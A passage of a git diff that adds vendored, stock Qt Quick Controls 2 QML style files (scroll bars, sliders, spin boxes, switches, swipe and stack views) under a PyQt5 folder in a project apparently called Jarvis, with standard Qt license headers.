control.palette.mid, control.down ? 0.5 : 0.0) + border.color: control.palette.highlight + border.width: control.visualFocus ? 2 : 0 + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/ScrollBar.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/ScrollBar.qml new file mode 100644 index 00000000..0948fb1d --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/ScrollBar.qml @@ -0,0 +1,76 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import QtQuick.Controls 2.12 +import QtQuick.Controls.impl 2.12 +import QtQuick.Templates 2.12 as T + +T.ScrollBar { + id: control + + implicitWidth: Math.max(implicitBackgroundWidth + leftInset + rightInset, + implicitContentWidth + leftPadding + rightPadding) + implicitHeight: Math.max(implicitBackgroundHeight + topInset + bottomInset, + implicitContentHeight + topPadding + bottomPadding) + + padding: 2 + visible: control.policy !== T.ScrollBar.AlwaysOff + minimumSize: orientation == Qt.Horizontal ? height / width : width / height + + contentItem: Rectangle { + implicitWidth: control.interactive ? 6 : 2 + implicitHeight: control.interactive ? 6 : 2 + + radius: width / 2 + color: control.pressed ? control.palette.dark : control.palette.mid + opacity: 0.0 + + states: State { + name: "active" + when: control.policy === T.ScrollBar.AlwaysOn || (control.active && control.size < 1.0) + PropertyChanges { target: control.contentItem; opacity: 0.75 } + } + + transitions: Transition { + from: "active" + SequentialAnimation { + PauseAnimation { duration: 450 } + NumberAnimation { target: control.contentItem; duration: 200; property: "opacity"; to: 0.0 } + } + } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/ScrollIndicator.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/ScrollIndicator.qml new file mode 100644 index 00000000..795c20ee --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/ScrollIndicator.qml @@ -0,0 +1,76 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import QtQuick.Controls 2.12 +import QtQuick.Controls.impl 2.12 +import QtQuick.Templates 2.12 as T + +T.ScrollIndicator { + id: control + + implicitWidth: Math.max(implicitBackgroundWidth + leftInset + rightInset, + implicitContentWidth + leftPadding + rightPadding) + implicitHeight: Math.max(implicitBackgroundHeight + topInset + bottomInset, + implicitContentHeight + topPadding + bottomPadding) + + padding: 2 + + contentItem: Rectangle { + implicitWidth: 2 + implicitHeight: 2 + + color: control.palette.mid + visible: control.size < 1.0 + opacity: 0.0 + + states: State { + name: "active" + when: control.active + PropertyChanges { target: control.contentItem; opacity: 0.75 } + } + + transitions: [ + Transition { + from: "active" + SequentialAnimation { + PauseAnimation { duration: 450 } + NumberAnimation { target: control.contentItem; duration: 200; property: "opacity"; to: 0.0 } + } + } + ] + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/ScrollView.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/ScrollView.qml new file mode 100644 index 00000000..f775d624 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/ScrollView.qml @@ -0,0 +1,65 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import QtQuick.Controls 2.12 +import QtQuick.Controls.impl 2.12 +import QtQuick.Templates 2.12 as T + +T.ScrollView { + id: control + + implicitWidth: Math.max(implicitBackgroundWidth + leftInset + rightInset, + contentWidth + leftPadding + rightPadding) + implicitHeight: Math.max(implicitBackgroundHeight + topInset + bottomInset, + contentHeight + topPadding + bottomPadding) + + ScrollBar.vertical: ScrollBar { + parent: control + x: control.mirrored ? 0 : control.width - width + y: control.topPadding + height: control.availableHeight + active: control.ScrollBar.horizontal.active + } + + ScrollBar.horizontal: ScrollBar { + parent: control + x: control.leftPadding + y: control.height - height + width: control.availableWidth + active: control.ScrollBar.vertical.active + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Slider.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Slider.qml new file mode 100644 index 00000000..6d532389 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Slider.qml @@ -0,0 +1,83 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import QtQuick.Controls 2.12 +import QtQuick.Controls.impl 2.12 +import QtQuick.Templates 2.12 as T + +T.Slider { + id: control + + implicitWidth: Math.max(implicitBackgroundWidth + leftInset + rightInset, + implicitHandleWidth + leftPadding + rightPadding) + implicitHeight: Math.max(implicitBackgroundHeight + topInset + bottomInset, + implicitHandleHeight + topPadding + bottomPadding) + + padding: 6 + + handle: Rectangle { + x: control.leftPadding + (control.horizontal ? control.visualPosition * (control.availableWidth - width) : (control.availableWidth - width) / 2) + y: control.topPadding + (control.horizontal ? (control.availableHeight - height) / 2 : control.visualPosition * (control.availableHeight - height)) + implicitWidth: 28 + implicitHeight: 28 + radius: width / 2 + color: control.pressed ? control.palette.light : control.palette.window + border.width: control.visualFocus ? 2 : 1 + border.color: control.visualFocus ? control.palette.highlight : control.enabled ? control.palette.mid : control.palette.midlight + } + + background: Rectangle { + x: control.leftPadding + (control.horizontal ? 0 : (control.availableWidth - width) / 2) + y: control.topPadding + (control.horizontal ? (control.availableHeight - height) / 2 : 0) + implicitWidth: control.horizontal ? 200 : 6 + implicitHeight: control.horizontal ? 6 : 200 + width: control.horizontal ? control.availableWidth : implicitWidth + height: control.horizontal ? implicitHeight : control.availableHeight + radius: 3 + color: control.palette.midlight + scale: control.horizontal && control.mirrored ? -1 : 1 + + Rectangle { + y: control.horizontal ? 0 : control.visualPosition * parent.height + width: control.horizontal ? control.position * parent.width : 6 + height: control.horizontal ? 6 : control.position * parent.height + + radius: 3 + color: control.palette.dark + } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/SpinBox.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/SpinBox.qml new file mode 100644 index 00000000..d1c2ea5b --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/SpinBox.qml @@ -0,0 +1,135 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import QtQuick.Controls 2.12 +import QtQuick.Controls.impl 2.12 +import QtQuick.Templates 2.12 as T + +T.SpinBox { + id: control + + implicitWidth: Math.max(implicitBackgroundWidth + leftInset + rightInset, + contentItem.implicitWidth + 2 * padding + + up.implicitIndicatorWidth + + down.implicitIndicatorWidth) + implicitHeight: Math.max(implicitContentHeight + topPadding + bottomPadding, + implicitBackgroundHeight, + up.implicitIndicatorHeight, + down.implicitIndicatorHeight) + + padding: 6 + leftPadding: padding + (control.mirrored ? (up.indicator ? up.indicator.width : 0) : (down.indicator ? down.indicator.width : 0)) + rightPadding: padding + (control.mirrored ? (down.indicator ? down.indicator.width : 0) : (up.indicator ? up.indicator.width : 0)) + + validator: IntValidator { + locale: control.locale.name + bottom: Math.min(control.from, control.to) + top: Math.max(control.from, control.to) + } + + contentItem: TextInput { + z: 2 + text: control.displayText + + font: control.font + color: control.palette.text + selectionColor: control.palette.highlight + selectedTextColor: control.palette.highlightedText + horizontalAlignment: Qt.AlignHCenter + verticalAlignment: Qt.AlignVCenter + + readOnly: !control.editable + validator: control.validator + inputMethodHints: control.inputMethodHints + + Rectangle { + x: -6 - (control.down.indicator ? 1 : 0) + y: -6 + width: control.width - (control.up.indicator ? control.up.indicator.width - 1 : 0) - (control.down.indicator ? control.down.indicator.width - 1 : 0) + height: control.height + visible: control.activeFocus + color: "transparent" + border.color: control.palette.highlight + border.width: 2 + } + } + + up.indicator: Rectangle { + x: control.mirrored ? 0 : parent.width - width + height: parent.height + implicitWidth: 40 + implicitHeight: 40 + color: control.up.pressed ? control.palette.mid : control.palette.button + + Rectangle { + x: (parent.width - width) / 2 + y: (parent.height - height) / 2 + width: parent.width / 3 + height: 2 + color: enabled ? control.palette.buttonText : control.palette.mid + } + Rectangle { + x: (parent.width - width) / 2 + y: (parent.height - height) / 2 + width: 2 + height: parent.width / 3 + color: enabled ? control.palette.buttonText : control.palette.mid + } + } + + down.indicator: Rectangle { + x: control.mirrored ? parent.width - width : 0 + height: parent.height + implicitWidth: 40 + implicitHeight: 40 + color: control.down.pressed ? control.palette.mid : control.palette.button + + Rectangle { + x: (parent.width - width) / 2 + y: (parent.height - height) / 2 + width: parent.width / 3 + height: 2 + color: enabled ? control.palette.buttonText : control.palette.mid + } + } + + background: Rectangle { + implicitWidth: 140 + color: enabled ? control.palette.base : control.palette.button + border.color: control.palette.button + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/SplitView.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/SplitView.qml new file mode 100644 index 00000000..9d37a83e --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/SplitView.qml @@ -0,0 +1,55 @@ +/**************************************************************************** +** +** Copyright (C) 2018 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.13 +import QtQuick.Templates 2.13 as T +import QtQuick.Controls 2.13 +import QtQuick.Controls.impl 2.13 + +T.SplitView { + id: control + implicitWidth: Math.max(implicitBackgroundWidth + leftInset + rightInset, + implicitContentWidth + leftPadding + rightPadding) + implicitHeight: Math.max(implicitBackgroundHeight + topInset + bottomInset, + implicitContentHeight + topPadding + bottomPadding) + + handle: Rectangle { + implicitWidth: control.orientation === Qt.Horizontal ? 6 : control.width + implicitHeight: control.orientation === Qt.Horizontal ? control.height : 6 + color: T.SplitHandle.pressed ? control.palette.mid + : (T.SplitHandle.hovered ? control.palette.midlight : control.palette.button) + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/StackView.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/StackView.qml new file mode 100644 index 00000000..3e416b87 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/StackView.qml @@ -0,0 +1,67 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import QtQuick.Controls 2.12 +import QtQuick.Templates 2.12 as T + +T.StackView { + id: control + + popEnter: Transition { + XAnimator { from: (control.mirrored ? -1 : 1) * -control.width; to: 0; duration: 400; easing.type: Easing.OutCubic } + } + + popExit: Transition { + XAnimator { from: 0; to: (control.mirrored ? -1 : 1) * control.width; duration: 400; easing.type: Easing.OutCubic } + } + + pushEnter: Transition { + XAnimator { from: (control.mirrored ? -1 : 1) * control.width; to: 0; duration: 400; easing.type: Easing.OutCubic } + } + + pushExit: Transition { + XAnimator { from: 0; to: (control.mirrored ? -1 : 1) * -control.width; duration: 400; easing.type: Easing.OutCubic } + } + + replaceEnter: Transition { + XAnimator { from: (control.mirrored ? -1 : 1) * control.width; to: 0; duration: 400; easing.type: Easing.OutCubic } + } + + replaceExit: Transition { + XAnimator { from: 0; to: (control.mirrored ? -1 : 1) * -control.width; duration: 400; easing.type: Easing.OutCubic } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/SwipeDelegate.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/SwipeDelegate.qml new file mode 100644 index 00000000..37d66bb6 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/SwipeDelegate.qml @@ -0,0 +1,78 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import QtQuick.Controls 2.12 +import QtQuick.Controls.impl 2.12 +import QtQuick.Templates 2.12 as T + +T.SwipeDelegate { + id: control + + implicitWidth: Math.max(implicitBackgroundWidth + leftInset + rightInset, + implicitContentWidth + leftPadding + rightPadding) + implicitHeight: Math.max(implicitBackgroundHeight + topInset + bottomInset, + implicitContentHeight + topPadding + bottomPadding, + implicitIndicatorHeight + topPadding + bottomPadding) + + padding: 12 + spacing: 12 + + icon.width: 24 + icon.height: 24 + icon.color: control.palette.text + + swipe.transition: Transition { SmoothedAnimation { velocity: 3; easing.type: Easing.InOutCubic } } + + contentItem: IconLabel { + spacing: control.spacing + mirrored: control.mirrored + display: control.display + alignment: control.display === IconLabel.IconOnly || control.display === IconLabel.TextUnderIcon ? Qt.AlignCenter : Qt.AlignLeft + + icon: control.icon + text: control.text + font: control.font + color: control.palette.text + } + + background: Rectangle { + implicitWidth: 100 + implicitHeight: 40 + color: Color.blend(control.down ? control.palette.midlight : control.palette.light, + control.palette.highlight, control.visualFocus ? 0.15 : 0.0) + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/SwipeView.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/SwipeView.qml new file mode 100644 index 00000000..7722d258 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/SwipeView.qml @@ -0,0 +1,66 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import QtQuick.Controls 2.12 +import QtQuick.Templates 2.12 as T + +T.SwipeView { + id: control + + implicitWidth: Math.max(implicitBackgroundWidth + leftInset + rightInset, + contentWidth + leftPadding + rightPadding) + implicitHeight: Math.max(implicitBackgroundHeight + topInset + bottomInset, + contentHeight + topPadding + bottomPadding) + + contentItem: ListView { + model: control.contentModel + interactive: control.interactive + currentIndex: control.currentIndex + focus: control.focus + + spacing: control.spacing + orientation: control.orientation + snapMode: ListView.SnapOneItem + boundsBehavior: Flickable.StopAtBounds + + highlightRangeMode: ListView.StrictlyEnforceRange + preferredHighlightBegin: 0 + preferredHighlightEnd: 0 + highlightMoveDuration: 250 + maximumFlickVelocity: 4 * (control.orientation === Qt.Horizontal ? width : height) + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Switch.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Switch.qml new file mode 100644 index 00000000..f62e2502 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Switch.qml @@ -0,0 +1,92 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import QtQuick.Templates 2.12 as T +import QtQuick.Controls 2.12 +import QtQuick.Controls.impl 2.12 + +T.Switch { + id: control + + implicitWidth: Math.max(implicitBackgroundWidth + leftInset + rightInset, + implicitContentWidth + leftPadding + rightPadding) + implicitHeight: Math.max(implicitBackgroundHeight + topInset + bottomInset, + implicitContentHeight + topPadding + bottomPadding, + implicitIndicatorHeight + topPadding + bottomPadding) + + padding: 6 + spacing: 6 + + indicator: PaddedRectangle { + implicitWidth: 56 + implicitHeight: 28 + + x: control.text ? (control.mirrored ? control.width - width - control.rightPadding : control.leftPadding) : control.leftPadding + (control.availableWidth - width) / 2 + y: control.topPadding + (control.availableHeight - height) / 2 + + radius: 8 + leftPadding: 0 + rightPadding: 0 + padding: (height - 16) / 2 + color: control.checked ? control.palette.dark : control.palette.midlight + + Rectangle { + x: Math.max(0, Math.min(parent.width - width, control.visualPosition * parent.width - (width / 2))) + y: (parent.height - height) / 2 + width: 28 + height: 28 + radius: 16 + color: control.down ? control.palette.light : control.palette.window + border.width: control.visualFocus ? 2 : 1 + border.color: control.visualFocus ? control.palette.highlight : control.enabled ? control.palette.mid : control.palette.midlight + + Behavior on x { + enabled: !control.down + SmoothedAnimation { velocity: 200 } + } + } + } + + contentItem: CheckLabel { + leftPadding: control.indicator && !control.mirrored ? control.indicator.width + control.spacing : 0 + rightPadding: control.indicator && control.mirrored ? control.indicator.width + control.spacing : 0 + + text: control.text + font: control.font + color: control.palette.windowText + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/SwitchDelegate.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/SwitchDelegate.qml new file mode 100644 index 00000000..d6447e77 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/SwitchDelegate.qml @@ -0,0 +1,109 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import QtQuick.Templates 2.12 as T +import QtQuick.Controls 2.12 +import QtQuick.Controls.impl 2.12 + +T.SwitchDelegate { + id: control + + implicitWidth: Math.max(implicitBackgroundWidth + leftInset + rightInset, + implicitContentWidth + leftPadding + rightPadding) + implicitHeight: Math.max(implicitBackgroundHeight + topInset + bottomInset, + implicitContentHeight + topPadding + bottomPadding, + implicitIndicatorHeight + topPadding + bottomPadding) + + padding: 12 + spacing: 12 + + icon.width: 24 + icon.height: 24 + icon.color: control.palette.text + + indicator: PaddedRectangle { + 